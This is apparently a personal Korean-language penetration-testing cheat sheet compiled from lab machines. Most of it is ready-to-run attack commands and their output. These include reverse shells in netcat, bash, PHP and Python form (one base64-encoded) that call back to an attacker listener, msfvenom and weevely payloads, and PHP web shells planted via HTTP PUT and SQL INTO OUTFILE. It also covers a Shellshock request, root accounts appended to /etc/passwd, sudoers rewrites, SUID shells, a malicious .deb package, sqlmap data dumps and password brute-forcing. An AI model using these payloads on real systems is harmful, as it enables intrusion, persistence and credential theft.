Saving to: ‘statuscheck.1’

statuscheck.1       100%[================>]   8.44K  --.-KB/s    in 0s      

2021-03-27 00:42:22 (367 MB/s) - ‘statuscheck.1’ saved [8640/8640]

정상적으로 받아졌고 정상적으로 돌아감

 

 

 

no tty

> bash

> python -c 'import pty................

해주면 해결됨 1 helios helios 10 Mar 26 10:49 curl

 

 

3. 환경변수에 /tmp폴더 등록

helios@symfonos:/tmp$ echo $PATH

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

helios@symfonos:/tmp$ export PATH=/tmp:$PATH

export PATH=/tmp:$PATH

helios@symfonos:/tmp$ echo $PATH

echo $PATH

/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

 

 

 

 

# find / -perm -u=s -type f 2>/dev/null

 

(# find / -perm -4000 2>/dev/null)

 

 

 

$ find . -type d

 

$ find / -writable -type d 2>/dev/null

 

 

 

 

 

# opt 폴더 체크

 

 

 

 

 

# 침투 서버 파일 로컬로 가지고 올 때

 

침투 서버 : python3 -m http.server 4444 로 포트 열어주고 (python -m SimpleHTTPServer 4444)

 

공격 서버 : wget http://침투서버IP:4444/file

 

(꼭 /var/www/html에 안올려도 되고 경로 입력 없이 파일명만 써도 받아지더라) - 안될때도 있음

 

1. /opt 폴더에 있는 파일 받는 실험 : 현재 경로는 /tmp

 

포트 오픈

helios@symfonos:/tmp$ python -m SimpleHTTPServer 7979

python -m SimpleHTTPServer 7979

Serving HTTP on 0.0.0.0 port 7979 ...

 

 

2. 대상 서버 자원 경로 지정 없이 파일명만 입력.

┌──(root💀takudaddy)-[/attack]

└─# wget http://192.168.10.20:4444/statuscheck

--2021-03-27 00:42:22-- http://192.168.10.20:4444/statuscheck

Connecting to 192.168.10.20:4444... connected.

HTTP request sent, awaiting response... 200 OK

Length: 8640 (8.4K) [application/octet-stream]

Saving to: ‘statuscheck.1’

 

statuscheck.1 100%[================>] 8.44K --.-KB/s in 0s      

 

2021-03-27 00:42:22 (367 MB/s) - ‘statuscheck.1’ saved [8640/8640]

 

정상적으로 받아졌고 정상적으로 돌아감

 

 

 

 

 

 

no tty

 

> bash

 

> python -c 'import pty................

 

해주면 해결됨

 

 

 

0. netcat  

침투 서버에서 포트 열어줄 때 

echo | nc -e 192.168.10.10 7979

echo && nc -e 192.168.10.10 7979

 

$ nc -e /bin/sh 192.168.20.1 7979   or   $ bash -i >& /dev/tcp/192.168.10.10/7979 0>&1

p0wny@shell:…/html/debug# nc -e /bin/sh 192.168.20.1 7979
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] 	  [destination] [port]

위처럼 nc 버전중에 -e 옵션 

지원안하는 경우가 있다.

그런 경우 아래 방법 사용.

 

 

 

1. fifo payload 만들기

# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.10.4 LPORT=7979

> 파일 생성하면 아래와 같이 침투 서버에서 입력 할 커맨드가 나온다.

> Payload size: 102 bytes

> mkfifo /tmp/rbpwxzv; nc 192.168.10.4 7979 0</tmp/rbpwxzv | /bin/sh >/tmp/rbpwxzv 2>&1; rm /tmp/rbpwxzv

> 위 커맨드를 절대 수정하지 말고 그대로 입력해 파일에 넣어준다.

> echo "위 커맨드" >> attack

                                                              
┌──(root💀takudaddy)-[~]
└─# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.20.1 LPORT=7979
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 94 bytes
mkfifo /tmp/zydqc; nc 192.168.20.1 7979 0</tmp/zydqc | /bin/sh >/tmp/zydqc 2>&1; rm /tmp/zydqc
                                 

리스너 기동시키고

┌──(root💀takudaddy)-[~]
└─# nc -lnvp 7979                                         2 ⚙
listening on [any] 7979 ...

 

침투서버에 명령어 복사해 실행기키면

p0wny@shell:…/html/debug# mkfifo /tmp/zydqc; nc 192.168.20.1 7979 0</tmp/zydqc | /bin/sh >/tmp/zydqc 2>&1; rm /tmp/zydqc

성공!

 

 

 

1-1 침투서버에서 mkfifo 생성

$ rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.20.1 7979 > /tmp/f

 

(위 명령어로 접속은 되는데 출력이 암것도 안될때 아래 명령어로 다시 실행)

$rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 7979 >/tmp/f

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.20.1 7979 > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 7979 >/tmp/f

 

 

 

nc 로 매 분마다 실행되는 파일에 넣어줄때

 

blumbergh@Breach:~$ echo "nc -e /bin/bash 192.168.110.4 4444" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
e /usr/share/cleanup/tidyup.sh110.4 4444" | sudo /usr/bin/te 
nc -e /bin/bash 192.168.110.4 4444
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.4 4444
blumbergh@Breach:~$ 

 

 

 

echo “echo “milton ALL=(ALL) ALL” > /etc/sudoers” > /etc/init.d/portly.sh

 echo "echo 'milton ALL=(ALL)ALL' > /etc/sudoers" > /etc/init.d/portly

재부팅 해야함

 

 

 

2. 파이썬 암호화 작업

$ python -c 'import crypt;print(crypt.crypt("takudaddy", "t4kud4ddy")'

 

ID : 암거나 상관없음

PW : takudaddy (앞에 것이 비번)

 

구조로 만들면 :

root : x : 0 : 0 : root : /home/root : /bin/bash

사용자명 : 암호 : UID : GID : 계정이름정보 : 사용자홈디렉터리 : 사용자로그인 쉘

takudaddy:t4DFty0rjIKnU:0:0:takudaddy:/root:/bin/bash

이걸 파일에 담아주고 ($ echo "위 passwd폼" > addnewuser.txt)

/etc/passwd에 넣어주면 끝

(잘 들어갔는지 확인 $ tail -1 /etc/passwd)

┌──(root💀takudaddy)-[/var/www/html]
└─# python -c 'import crypt;print(crypt.crypt("test","isthis"))'
isb/.PQAI1U/I

같은 암호로 서로 다른이름의 유저 2개 생성
testuser / testuser2
암호 = test
┌──(root💀takudaddy)-[/var/www/html]
└─# tail -2 passwd 
testuser:isb/.PQAI1U/I:0:0:root:/root:/bin/bash
testuser2:isb/.PQAI1U/I:0:0:root:/root:/bin/bash

sh-4.2$ su testuser
su testuser
Password: test
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
exit
sh-4.2$ su testuser2
su testuser2
Password: test
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0



┌──(root💀takudaddy)-[~]
└─# python -c 'import crypt;print(crypt.crypt("pass","pass"))'
pauONM/HSu9pM
┌──(root💀takudaddy)-[/var/www/html]
└─# tail -2 passwd 
pass:pauONM/HSu9pM:0:0:root:/root:/bin/bash
try:pauONM/HSu9pM:0:0:root:/root:/bin/bash

pass&try 유저 암호가 pass

sh-4.2$ su try
su try
Password: pass
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
exit




┌──(root💀takudaddy)-[/var/www/html]
└─# python -c 'import crypt;print(crypt.crypt("taku","t4ku"))'
t48dTSVy8wS02
taku:t48dTSVy8wS02:0:0:root:/root:/bin/bash

taku 유저 암호가 taku

sh-4.2$ su taku
su taku
Password: taku
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
id

 

 

 

ssl 스캐너

# sslyze 10.10.10.79:443

 

 

 

3. openssl 암호화 작업

 

 

 

# openssl passwd -6 -salt taku t4kud4ddy

 

ID : 암거나 상관없음

PW : t4kud4ddy (뒤에 것이 비번)

 

$6$taku$mfkFJFFPjfmnsdf9874/kashfkjhi98349afkjas.dkl998DD41

이걸 파일에 담아주고 ($ echo "위 폼" > newssluser.txt

/etc/passwd에 넣어주면 끝

(잘 들어갔는지 확인 $ tail -1 /etc/passwd)

openssltest 유저 암호로 아래 키 사용
┌──(root💀takudaddy)-[/var/www/html]
└─# openssl passwd -6 -salt test t4ku
$6$test$gBD1Cpk4Bcf7XiTR8yMWVBIcz1yJijUA8C1tJy5XI2ln7H9UDIkrvtsgXCRjs4JI0SpteNCgYkXbte32IlG9t0

┌──(root💀takudaddy)-[/var/www/html]
└─# tail -1 passwd 
openssltest:$6$test$gBD1Cpk4Bcf7XiTR8yMWVBIcz1yJijUA8C1tJy5XI2ln7H9UDIkrvtsgXCRjs4JI0SpteNCgYkXbte32IlG9t0:0:0:root:/root:/bin/bash

sh-4.2$ su openssltest
su openssltest
Password: t4ku
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0

 

 

3-1 openssl로 암호 생성 간단한 버전

$ openssl passwd -1

brexit@misdirection:/var/www/html/debug$ openssl passwd -1
openssl passwd -1
Password: taku  

Verifying - Password: taku

$1$h38T/w4Z$E7H9ArpDINBGSdVTTkpxm1
brexit@misdirection:/var/www/html/debug$ su   
su 
Password: taku

 

혹은 위 키를 사용해 유저 만들어도 됨.

 

echo "takudaddy:$1$awJ3ztsa$T.kEm0MkiAQpGwdVRQskg/:0:0:root:/root:/bin/bash" >> /etc/passwd

 

일부 커널에서는 특수기호를 인식을 못하니

$ 싸인 앞에 역슬래쉬 넣어줘야 한다!

echo "master:\$1\$OJ.VOZR2\$l4Xu6mUiPoA/exCFn1U15.:0:0:root:/root:/bin/bash" >> /etc/passwd

 

 

 

 

 

4. 마운트 가능한 상황

타킷서버에서 /etc/passwd 파일로 UID GID 값 확인

로컬서버에서 동일한 값을 가진 유저 생성

# useradd -u 2008 vulnix

해당 유저로 전환 후 마운트 자원에 접근

 

 

 

 

5.Shell code :

# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > attack

타켓 서버에 올려두고 실행시키면 됨

 

 

 

6. Shell code :

6-1) 공격자측에서 생성시

# vi root.c

int main(void){

setuid(0); setgid(0);

system("/bin/sh");

}

: 타깃측에서 받을때

$ wget http://192.168.20.4/root.c

 

 

6-2) 타깃측 서버에서 생성시

$ echo 'int main(void)' > test.c

echo '{ ' >> test.c

echo 'setgid(0);' >> test.c

echo 'setuid(0);' >> test.c

echo 'execl("/bin/sh", "sh", 0);' >> test.c

echo '}' >> test.c

 

 

 

 

 

7. chrootkit

전제) reverse_tcp로 세션 연결이 되어 있는 상황

meterpreter> background (현재 세션을 유지한 상태에서 다른 작업이 가능하도록 백그라운드로 돌림)

meterpreter> use exploit/unix/local/chrootkit

msf> set SESSION 1

msf> set LHOST 192.168.20.4

msf> set LPORT 8080

msf> set payload cmd/unix/reverse

msf> exploit

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

 

7-2) 안될 수 있음

$ echo '#!/bin/bash' > update

$ echo 'chown root /tmp/test' >> update

$ echo 'chgrp root /tmp/test' >> update

$ echo 'chmod u+s /tmp/test' >> update

$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

$ ls -ls /etc/sudoers

7-3) 받은 파일 컴파일

$ gcc -o root root.c

7-4)update 파일 권한 부여

$ chmod +x update

7-5) 데일리 크론탭 실행

$ run-parts /etc/cron.daily

7-6) 쉘 코드 실행

$./root

 

 

 

 

8. $ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis

 

9. $ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

 

 

 

10. mysql 사용 가능한 경우 

$ mysql -u root

암호 없는 경우 바로 접속됨

> use mysql;

>

 

 

 

$ sudo mysql -e \! /bin/bash

mysql 접속한 상태에서 bash shell 실행

MariaDB [(none)]> \! whoami
\! whoami
root
MariaDB [(none)]> \! /bin/bash                   (-i 옵션 넣어도 됨) 
\! /bin/bash
root@symfonos2:/opt/librenms/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos2:/opt/librenms/html# 


아니면 mysql 접속 안하고 바로 실행

cronus@symfonos2:/$ sudo /usr/bin/mysql -e "\! /bin/bash"  (sudo mysql -e '\! /bin/bash')
sudo mysql -e "\! /bin/bash"

 

 

 

11. dpkg 생성 방법

┌──(root💀takudaddy)-[/attack]
└─# apt -y install ruby ruby-dev rubygems build-essential     

┌──(root💀takudaddy)-[~]
└─# gem install --no-document fpm                                                                              127 ⨯
Successfully installed fpm-1.12.0
1 gem installed

┌──(root💀takudaddy)-[~]
└─# fpm -v                                                     
1.12.0
    

# fpm -s dir -t deb -n taku_attack2 --before-install shell2.c .

1. 쉘 생성 (혹시 모르니 두 개 만든다)
┌──(root💀takudaddy)-[/attack]
└─# cat shell.c 
# include <stdio.h>
# include <sys/types.h>
# include <unistd.h>
int main(void){
    setuid(0); 
    setgid(0); 
    system("/bin/bash");
}

┌──(root💀takudaddy)-[/attack]
└─# cat shell2.c 
#!/bin/bash
/bin/bash


2. deb 파일 생성 (패키지도 동일하게 두 개 생성)
┌──(root💀takudaddy)-[/attack]
└─# fpm -s dir -t deb -n taku_attack --before-install shell.c .
Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn}                                                                                                             
Created package {:path=>"taku-attack_1.0_amd64.deb"}

┌──(root💀takudaddy)-[/attack]
└─# fpm -s dir -t deb -n taku_attack2 --before-install shell2.c .
Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn}                                                                                                                
Created package {:path=>"taku-attack2_1.0_amd64.deb"}

 

 

dpkg

fpm 명령어 옵션

-s = source type

-t = target type

-n = package name

--before-install = 실행시간

 

$ sudo -u root /usr/bin/dpkg -i attack_1.0_amd64.deb

 

 

 

 

 

12. php reverse connection CMD

 

 

$ echo "php -r '$sock=fsockopen("192.168.10.10",8989);exec("/bin/sh -i <&3 >&3 2>&3");'" >> write.sh

$ echo "php -r '\$sock=fsockopen(\"192.168.10.10\",8989);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" >> write.sh

 

 

 

 

13. tcpdump

User blumbergh may run the following commands on breach2:
 (root) NOPASSWD: /usr/sbin/tcpdump



blumbergh@breach2:/home/bill$ echo -e "cp /bin/sh /home/bill/sh_suid\nchmod 7555 /home/bill/sh_suid" > tmpfile
blumbergh@breach2:/home/bill$ ls
tmpfile
blumbergh@breach2:/home/bill$ chmod +x tmpfile
blumbergh@breach2:/home/bill$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmfile -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
blumbergh@breach2:/home/bill$ ls -l /home/bill/sh_suid
-r-sr-sr-t 1 root root 125400 Aug 31 11:56 /home/bill/sh_suid
blumbergh@breach2:/home/bill$ /home/bill/sh_suid
# whoami
root

 

 

 

vi 제대로 안 될때 

문구 삽입

penguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ cat > .trash_old << EOF
cat > .trash_old << EOF
> nc -e /bin/bash 192.168.20.1 8888
nc -e /bin/bash 192.168.20.1 8888
> EOF

 

 

 

#######################################################################

* Web / DB

#######################################################################

 

 

 

0. scanning

# dirb http://IP 

# dirb http://IP /usr/share/wordlists/dirb.common.txt -X .txt,.html,.php

# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://IP/Fuzz

# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://IP/index.php?Fuzz

# gobuster dir -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# gobuster dir -f -t 50 -x html -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

 

ShellShcok (cgi-bin)

scan : 

$ gobuster dir -u http://10.11.1.71 -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s '200,204,403,500' -e

 

# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://192.168.10.22/cgi-bin/underworld

┌──(root💀takudaddy)-[/attack]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://192.168.10.22/cgi-bin/underworld

uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)

 

 

 

히든 포트 확인할 때

# nc 192.168.10.34 22222

 

 

 

이미지 내용 확인 툴 exiftool

# exiftool bill.png

┌──(root💀takudaddy)-[~]
└─# exiftool bill.png 
ExifTool Version Number         : 12.16
File Name                       : bill.png
Directory                       : .
File Size                       : 315 KiB
File Modification Date/Time     : 2016:06:05 08:35:33+09:00
File Access Date/Time           : 2021:04:06 12:47:54+09:00
File Inode Change Date/Time     : 2021:04:06 12:47:48+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 610
Image Height                    : 327
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Warning                         : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers)
Comment                         : coffeestains
Image Size                      : 610x327
Megapixels                      : 0.199
                                                                               
             
┌──(root💀takudaddy)-[~]
└─# exiftool bill.png | grep -i -e 'File name' -e 'Comment'
File Name                       : bill.png
Comment                         : coffeestains

 

 

 

 

1. Web 공략법

# curl -v http://IP

 

1-1) http Method 확인 : PUT COPY 등등의 명령어 사용이 가능한지 확인

# curl -v -X OPTIONS http://192.168.20.3/test

# nmap 192.168.20.3 -p 80 --script http-methods --script-args http-methods.url-path='/test'

 

1-2) PUT 사용 가능시 확장자(php) 필터링이 되고 있는지 확인 :

# curl -v -X PUT -d "testing 1 2 3" http://192.168.20.3/test/test.txt

# curl -v -X PUT -d "<?php phpinfo();?>" http://192.168.20.3/test/test.php

 

1-3) php cmd 업로드

# curl -X PUT -d "<?php system($_GET["cmd"]);?>" http://192.168.20.3/test/cmd.php

> 올라간 후 파일 클릭 > url에 '?cmd=id', '?cmd=which%20nc' > netcat 있는지 여부 확인 할 것!

> 그리고 배쉬쉘 실행되는지도 확인 :

# curl http://192.168.20.3/test/cmd.php?cmd=nc+192.168.20.3+5000+-e+%2Fbin%2Fbash

 

 

1-4) Payload 만들기 :

* weevely

# weevely generate passwd /attack/backdoor.php

* 업로드

# nmap 192.168.20.3 -p 80 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='/attack/backdoor.php'

* 접속

# weevely http://192.168.20.3/test/shell.php passwd

 

 

or

 

 

1-5) Payload 만들기 2 :

* msfvenom

# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.4 LPORT=443 -f raw > shell.php (*들어가 주석 제거할 것!)

(/usr/share/webshells/php에 기본 쉘 코드도 있다)

* 공격파일 업로드

# nmap 192.168.20.3 -p 80 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='/attack/shell.php'

 

 

1-6) 리스터 생성 : 아래 과정없 곧장 msfconsole 들어가 해도 됨.

# cat <<EOF>> listener.rc

> use exploit/multi/handler

> set payload php/meterpreter/reverse_tcp

> set LHOST 192.168.20.4

> set LPORT 443

> set ExitSession false

> exploit

> EOF

 

 

1-7) 리스너 기동 :

# msfconsole -q -r listener.rc

 

 

1-8) 연결

* 파일 클릭시 자동 연결 or

# curl -v http://192.168.20.3/test/shell.php

 

 

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

접속 후 LinuxPrivEnum.sh 돌리기!

(crontab 확인 중요!)

 

 

 

nmap 취약점 스캔 scan

# nmap --script vuln -oA vulnscan 10.10.10.79 

 

 

 

 

2. RFI / LFI

> 로컬 apache2 서버 기동

> 로컬 /var/www/html에 공격 파일 올려두기

> 로컬 리스너 기동 (nc / msfconsole)

> 로컬 python simple http request handler 실행

# python -m SimpleHTTPServer 4444 (# python3 -m http.server 4444)

> 트리거 당기기

 

 

 

> nc -e /bin/sh 192.168.10.10 7979 

or

> bash -i >& /dev/tcp/192.168.10.10/7979 0>&1 (command execution 가능한 상황)

> echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwLzc5NzkgMD4mMQ== | base64 -d | bash

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwLzc5NzkgMD4mMQ==" | base64 -d | bash

 

 

 

 

3. sql injection tool : sqlmap 사용법

 

3-1) burpsuite에서 Request 부분을 복사해 파일에 담는다.

POST /results.php HTTP/1.1

Host : 192.168.10.8

User-Agent: Mozilla/5.0

....중략....

name=asdf%23&pass=

> request.txt

 

3-2) DB 목록 확인

# sqlmap -r request.txt --dbs --batch

3-3) Table 목록 확인

# sqlmap -r request.txt --tables --batch

3-4) 컬럼/스키마 목록 확인 (보통 이건 패스)

# sqlmap -r request.txt --columns --batch

# sqlmap -r request.txt --schema --batch

3-5) 현 DB 확인

# sqlmap -r request.txt --current-db --batch

3-6) 현 user 확인

# sqlmap -r request.txt --current-user --batch

3-7) DB 데이터 덤프 (젤 중요)

# sqlmap -r request.txt -D dbname --dump-all --batch

 

# sqlmap -r req4.txt -D oscommerce -tables -dump --batch

 

 

┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= --dbs --batch


┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= --tables --batch  


┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch  

# sqlmap --url 'http://192.168.10.114/history.php?user=admin' --cookie="PHPSESSID=8nsdb4ue0bi7g7hjaju33tjfvd" --dump --batch

 

 

파일 다운받기

# sqlmap -r req.txt --file-read /etc/passwd

 

 

 

┌──(root💀takudaddy)-[/study]
└─# sqlmap --level=5 --risk=3 --url=http://pinkys-palace:8080/littlesecrets-main/login.php --proxy=http://192.168.10.41:31337 --data="user=a&pass=a" --dump all --batch


┌──(root💀takudaddy)-[/study]
└─# sqlmap --level=5 --risk=3 --url=http://192.168.10.45:1337/978345210/index.php --data="username=legolas&password=a&submit=+login+" --dump all --batch 

 

 

 

 

4. mysql 커맨드 : 유저 + 비번 알아야 함

# mysql -u user -p -h 192.168.20.30

password : passwd

> show databases;

> use wordpress;

> show tables;

> select * from wp_users;

 

# mysql 접속 후 커맨드 실행

> \! whoami

> \! /bin/bash (-i)

MariaDB [(none)]> \! whoami
\! whoami
root
MariaDB [(none)]> \! /bin/bash                   (-i 옵션 넣어도 됨) 
\! /bin/bash
root@symfonos2:/opt/librenms/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos2:/opt/librenms/html# 

 

 

 

4-1) phpmyadmin으로 접속 가능할 시 : 유저 + 비번 알아야 함

> 원하는 테이블 항목을 CSV 형식 파일로 받을 수 있다.

> 받아서 읽기

> 사용자 항목 파일 경우, 일반적으로 첫 번째 유저가 관스리자인 경우가 많음.

> 브루트 포스 패스워드 어택 하기위해 유저 아이디 '대소문자' 모두 리스트로 만들기

원하는 필드만 추출 : # cat wp_users.csv | awk -F, '{print $2}' | awk -F\" '{print $2}'

> hydra로 돌리기

# hydra -L users.txt -p plkac ssh://192.168.20.30

> ID / PW 찾았으면 ssh로 접속

# ssh -l zoe 192.168.20.30

> .bash_history 뒤지기

$ ssh peter@localhost

 

 

phpmyadmin

select "<?php exec(\"/bin/bash -c \'bash -i >& /dev/tcp/192.168.10.10/7979 0>&1\'\");" into outfile "/var/www/html/uploads/shell.php"

올리고 nc로 리스너 대기

/uploads/shell.php 연결하면 붙는다.

http://192.168.10.38/uploads/shell.php

 

 

 

 

위 처럼 했는데 에러나는 경우

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/backdoor.php" 

 

 

경로 지정 후 명령어 입력 

?cmd=nc -e /bin/bash 192.168.10.10 7979

 

 

 

 

 

 

5. wordpress 스캔 : 플러그인 확인

# wpscan --disable-tls-checks --url https://192.168.20.30:12380/blogblog --enumerate vt,vp,u,dbe

# wpscan --disable-tls-checks --url https://192.168.20.30:12380/blogblog --enumerate ap

 

아이디 찾고 비번 bruteforce

# wpscan --url http://192.168.10.32/wordpress -e at -e ap -e u 

# wpscan --url http://192.168.10.32/wordpress -U 유저명 -P /usr/share/wordlists/rockyou.txt 

# wpscan --url http://lemonsqueezy/wordpress --usernames lemon,orange -P /usr/share/wordlists/rockyou.txt

 

 

┌──(root💀takudaddy)-[/attack]
└─# wpscan --url http://192.168.10.32/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

[!] Valid Combinations Found:
 | Username: c0rrupt3d_brain, Password: 24992499

 

 

5-1) wordpress advanced video 1.0 (39646.py)

> 코드 url 수정해야함

> 카피본 만들어 작업 진행 : 비교 커맨드

# diff -ruN attack.py attack.orig.py

> 페이지 url에 붙여넣는 작업을 하는 경우 탭을 두개 띄워 하나는 정상 접속 상태유지, 공격은 다른 탭에서 작업한다!

 

5-2) 업로드 되어있는 파일 읽기

# curl -k https://192.168.20.30/blogblog/wp-content/uploads/19283746.jpeg

 

 

 

 

 

 

 

6. redirection (burp) 조작

 

 

 

 

 

 

 

7. 포트 포워딩

 

#

 

 

 

# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.10.22

브라우저에서 

http://127.0.0.1:7979 로 접속

 

or

 

상대 서버에서

$ socat TCP-LISTEN:7979,fork TCP:127.0.0.1:8080

브라우저에서 

http://상대IP:7979

Caeolus@symfonos2:~$ socat TCP-LISTEN:7979,fork TCP:127.0.0.1:8080

 

 

 

 

 

 

 

 

8. 파이썬 url 리버스 쉘 생성 CMD python

 

원본 :

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.10”,7979));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

 

url encoding :

%20python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.10.10%22,7979));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

 

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.1",7979));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

 

 

 

 

 

 

################################################################################

* Encrypt / Decrypt / Hash / 암호화

################################################################################

 

1. 해쉬 종류 확인 방법

# Hash-identifier [hash]

# hashid

 

2. 해쉬 복호화 사이트 : base64

hashkiller.io / hashes.com

 

3. 해쉬 복호화 사이트 : MD5

http://www.md5decrypt.org/

 

 

4. john window hash crack (윈도우 해쉬 크랙)

$ cat hash.txt

WDAGUtilityAccount:0c509cca8bcd12a26acf0d1e508cb028
Offsec:2892d26cdf84d7a70e2eb3b9f05c425e

 

$ sudo john hash.txt --format=NT

$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT

 

 

5. unshadow (리눅스)

$ unshadow paswd_file.txt shadow.txt

$ unshadow passwd_file.txt shadow_file.txt > unshadowed.txt

$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

 

 

 

4. Base64 인코딩 코드 (https://blog.naver.com/takudaddy/222163306373)

import base64, codecs, sys

 

def encodestring(str):

base64string = base64.b64encode(str)

return codecs.encode(base64string[::-1], 'rot13')

 

cryptoResult=encodeString(sys.argv[1])

print(cryptoResult)

 

 

5. Base64 디코딩 코드

import base64, codecs, sys

 

def decodeString(str):

decode = codecs.decode(str[::-1], 'rot13')

return base64.b64decode(decode)

 

cryptoResult=decodeString(sys.argv[1])

print(cryptoResult)

 

 

 

6. 복호화 코드

import codecs

 

str = '복호화할 암호코드'

str = codecs.decode(str, 'rot13')

str = str[::-1]

str = codecs.decode(str, 'base64')

 

print(str)

 

 

 

7. md5 암호화 하기

# echo -n takudaddy | md5sum

 

 

 

 

8. crunch 로 예상 암호 만들기

샘플

대문자 | 소문자 2개 | 특수문자 2개 | 숫자 3개 = 8글자

# crunch 8 8 -t ,@@^^%%%    > 160기가 ;;

 

# crunch 4 6 0123456789AABCDEF -o crunch.txt

 

 

캐릭터 세트

# crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt

 

 

 

# crunch 13 13 -t bev,%%@@^1955 -o /study/crack

 

bev[A-Z][0-9][0-9][a-z][a-z][symbol]1955

 

대문자 =  ,

소문자= @

숫자 = %

특수문자 = ^

┌──(root💀takudaddy)-[~]
└─# crunch 13 13 -t bev,%%@@^1955 -o /study/crack.pass

 

 

암호문 이용해 hydra 브루트 포스!

 

 

Medusa

# medusa -h 192.168.10.10 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin

 

crowbar

 

 

 

 

9. zip파일 암호 푸는 툴

# fcrackzip -v -D -u -p crack.pass  /root/Downloads/t0msp4ssw0rdz.zip

 

 

 

 

